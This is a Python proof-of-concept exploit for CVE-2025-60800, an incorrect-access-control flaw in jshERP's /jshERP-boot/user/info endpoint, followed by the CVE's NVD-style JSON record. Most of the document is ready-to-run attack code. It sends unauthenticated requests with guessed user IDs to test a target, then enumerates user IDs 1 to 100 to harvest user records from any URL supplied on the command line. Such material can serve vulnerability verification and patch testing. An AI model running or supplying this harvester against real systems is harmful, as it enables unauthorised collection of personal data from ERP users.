CVE-2025-60800

import requests import sys import json # CVE-2025-60800 PoC - jshERP Incorrect Access Control # Target: jshERP /jshERP-boot/user/info endpoint # Vulnerability: Allows unauthenticated access to sensitive user information def check_vulnerability(target_url): """ Check if the target jshERP instance is vulnerable to CVE-2025-60800 """ # Test with common user IDs test_user_ids = [1, 2, 3, 'admin', 'user', 'test'] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'en-US,en;q=0.9', } print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerability: CVE-2025-60800 - jshERP Access Control Error") print("-" * 60) for user_id in test_user_ids: try: # Construct the vulnerable endpoint url = f"{target_url}/jshERP-boot/user/info" params = {'userId': user_id} print(f"\n[*] Testing userId: {user_id}") # Send unauthenticated request response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200: try: data = response.json() if data.get('code') == 200 and data.get('data'): print(f"[!] VULNERABLE! Retrieved user info for ID: {user_id}") print(f"[+] Response data: {json.dumps(data['data'], indent=2, ensure_ascii=False)}") return True else: print(f"[-] No sensitive data returned for userId: {user_id}") except json.JSONDecodeError: print(f"[-] Invalid JSON response for userId: {user_id}") else: print(f"[-] HTTP {response.status_code} for userId: {user_id}") except requests.exceptions.RequestException as e: print(f"[!] Error testing userId {user_id}: {e}") print("\n[-] Target does not appear to be vulnerable or user info not found.") return False def exploit_info_gathering(target_url, start_id=1, end_id=100): """ Attempt to gather user information from the vulnerable endpoint """ print(f"\n[*] Starting information gathering (userId {start_id} to {end_id})...") headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json', } url = f"{target_url}/jshERP-boot/user/info" gathered_users = [] for user_id in range(start_id, end_id + 1): try: params = {'userId': user_id} response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200: try: data = response.json() if data.get('code') == 200 and data.get('data'): user_info = data['data'] gathered_users.append(user_info) print(f"[+] Found user: {user_info.get('username', 'N/A')} (ID: {user_id})") except json.JSONDecodeError: pass except: pass print(f"\n[*] Total users found: {len(gathered_users)}") return gathered_users if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-60800.py <target_url>") print("Example: python cve-2025-60800.py http://vulnerable-server.com") sys.exit(1) target = sys.argv[1].rstrip('/') # Check if vulnerable is_vulnerable = check_vulnerability(target) if is_vulnerable: print("\n[*] Running information gathering...") exploit_info_gathering(target) else: print("\n[-] Exploitation aborted - target may not be vulnerable.")

{"cve": {"id": "CVE-2025-60800", "sourceIdentifier": "[email protected]", "published": "2025-10-28T18:15:39.113", "lastModified": "2025-11-06T18:44:16.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the /jshERP-boot/user/info interface of jshERP up to commit 90c411a allows attackers to access sensitive information via a crafted GET request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-08-07", "matchCriteriaId": "9FC7F7AF-ABC4-4722-B8CE-756186E4EE00"}]}]}], "references": [{"url": "https://github.com/jishenghua/jshERP/issues/130", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}